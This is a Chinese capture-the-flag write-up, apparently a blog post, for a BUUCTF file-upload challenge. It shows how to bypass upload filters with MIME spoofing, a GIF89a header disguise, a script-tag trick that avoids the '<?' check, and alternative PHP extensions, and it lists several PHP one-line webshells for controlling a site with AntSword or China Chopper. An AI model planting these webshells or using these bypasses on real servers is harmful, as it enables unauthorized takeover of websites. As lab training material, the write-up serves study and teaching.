Buuctf<极客大挑战2019>upload


一.划重点的知识点

GIF89a图片头文件欺骗:
一个GIF89a图形文件就是一个根据图形交换格式进行格式化之后的图形。用记事本编写一下内容,然后修改后缀变成图片

GIF89a  
<head>  
<meta http-equiv = "refresh" content = "1; url=http://www.***.com/" />  
</head>  

当单独查看此文件时,会出现GIF89a,然后跳转到指定的网页(ie6和ie7下,Firefox下不可以)。

二.解题步骤

(1)尝试传一个后缀为.php的一句话木马文件发现警告不是图片类型,这里我们有两种方法
在这里插入图片描述1.可以通过抓包改MIME文件类型
但是这里出现了警告必须是php文件

图片mime类型:(Content-Type)
image/gif
image/jpeg
image/png

在这里插入图片描述2.直接在本地改为图片类型的后缀名
这里提示文件中包含<?,说明对php代码进行了过滤,虽然上传失败,但是从返回结果大概可以判断能够上传后缀名为图片类型的文件(png jpg等),那么接下来就是要绕过<?的检测
在这里插入图片描述因为服务端过滤了<?字符,所以不能只用用php语言,但是可以通过使用java语言加php语言

<script language='php‘>@eval($_POST['连接蚁剑的密码']);</script>

在这里插入图片描述``
(2)文件上传以后发现还是无法绕过,说明服务器不仅对前端进行了过滤,还对后端文件内容头做了校验。这里我们只能用文件幻术头来绕过试试
在这里插入图片描述这是GIF89a图片头文件欺骗的一句话木马:

GIF89a? <script language="php">eval($_REQUEST[连接蚁剑的密码])</script>

保存好一句话木马以后再次上传,成功!
在这里插入图片描述

三.各种类型的一句话木马

原理:一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀或者中国蚁剑获取和控制整个网站目录。当连接你上传的脚本文件,菜刀/蚁剑就会自动向服务器以相应的传参方式执行相应的代码,让你得到访问服务器的权限,并可以下载和上传文件到服务器。
1.最常见的一句话木马

<?php @eval($_POST['连接蚁剑的密码']);?>

其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。
2.当过滤了<?时的一句话木马

<script language='php‘>@eval($_POST['连接蚁剑的密码']);</script>

3.这是GIF89a图片头文件欺骗的一句话木马:

GIF89a? <script language="php">eval($_REQUEST[连接蚁剑的密码])</script>

四.php文件后缀替换

例如phtml php3 php4 php5 PHP phtm这些后缀名服务器都支持将其解析为php脚本运行。

  • 4
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值